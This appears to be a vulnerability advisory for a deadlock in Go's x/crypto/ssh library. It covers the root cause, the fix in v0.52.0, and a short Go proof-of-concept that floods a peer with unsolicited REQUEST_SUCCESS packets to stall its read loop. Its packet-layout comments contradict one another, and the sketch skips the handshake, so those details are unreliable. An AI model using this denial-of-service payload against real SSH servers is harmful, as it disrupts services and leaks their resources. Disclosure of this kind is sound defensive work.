CVE-2026-39830: golang.org/x/crypto/ssh Server Deadlock via Unsolicited Global Response
Malicious SSH peer sends unsolicited MSG_REQUEST_SUCCESS/FAILURE packets to block golang.org/x/crypto/ssh read loop, causing deadlock and resource leak.

The problem
In golang.org/x/crypto/ssh prior to v0.52.0, the mux.handleGlobalPacket function writes a received global-request response to an internal globalResponses channel regardless of whether a matching SendRequest is pending. If no goroutine is reading from that channel (no pending request), the write blocks permanently, freezing the entire connection read loop.
Because the blocked goroutine holds the read lock, calling Close() cannot release it, causing a permanent per-connection goroutine and resource leak exploitable by any SSH peer without authentication.
Proof of concept
// Attacker-controlled SSH server (or MITM) sends these raw SSH binary frames
// to a victim golang.org/x/crypto/ssh client (or server) immediately after
// key exchange, before or without any global request being issued.
//
// Repeat N times to fill any slack and guarantee the read-loop blocks:
// byte 0x51 = SSH_MSG_REQUEST_SUCCESS (RFC 4254 §4, decimal 81)
// [optional 0-byte response data]
//
// Minimal 6-byte SSH binary packet (length=2, padding=4, type=0x51):
// \x00\x00\x00\x06\x04\x51\x00\x00\x00\x00
//
// One unsolicited MSG_REQUEST_SUCCESS is enough to permanently block
// handleGlobalPacket; sending a stream achieves reliable DoS:
package main
import (
"net"
)
// Minimal SSH packet: SSH_MSG_REQUEST_SUCCESS with no payload.
// Wire format: uint32 packet_length | byte padding_length | byte type | padding
var unsolicitedRequestSuccess = []byte{
0x00, 0x00, 0x00, 0x0c, // packet_length = 12
0x0a, // padding_length = 10
0x51, // SSH_MSG_REQUEST_SUCCESS (81)
0x00, 0x00, 0x00, 0x00, // (no response data)
0x00, 0x00, 0x00, 0x00, // padding
0x00, 0x00, // padding (cont)
}
func sendDeadlock(target string) {
// After completing a real SSH handshake (so the read loop is active),
// flood the peer with unsolicited REQUEST_SUCCESS packets.
// The first one that lands while no SendRequest is pending blocks forever.
conn, _ := net.Dial("tcp", target)
defer conn.Close()
// ... complete SSH handshake here, then:
for i := 0; i < 16; i++ {
conn.Write(unsolicitedRequestSuccess)
}
}The root cause is in mux.handleGlobalPacket (ssh/mux.go): when an SSH_MSG_REQUEST_SUCCESS (0x51) or SSH_MSG_REQUEST_FAILURE (0x52) packet arrives, the handler performs a blocking channel send to mux.globalResponses. The channel has capacity 1 (or 0), so a single unsolicited packet with no goroutine on the receiving end blocks the send indefinitely, stalling the entire read loop goroutine (CWE-833: Deadlock, also matching CWE-400 resource exhaustion).
Because the read goroutine is permanently stuck, Close() cannot drain or interrupt it, yielding a goroutine and socket leak per attack connection. The fix in CLs 781640/781664 wraps the channel send in a select with a default case, so unmatched responses are discarded non-blockingly instead of blocking the read loop.
The fix
Upgrade golang.org/x/crypto to v0.52.0 or later (`go get golang.org/x/crypto@v0.52.0`). The patch (go.dev/cl/781640 + go.dev/cl/781664) adds a non-blocking select/default around the globalResponses channel write in mux.handleGlobalPacket, silently discarding unsolicited global request responses.
Reported by NCC Group Cryptography Services (sponsored by Teleport).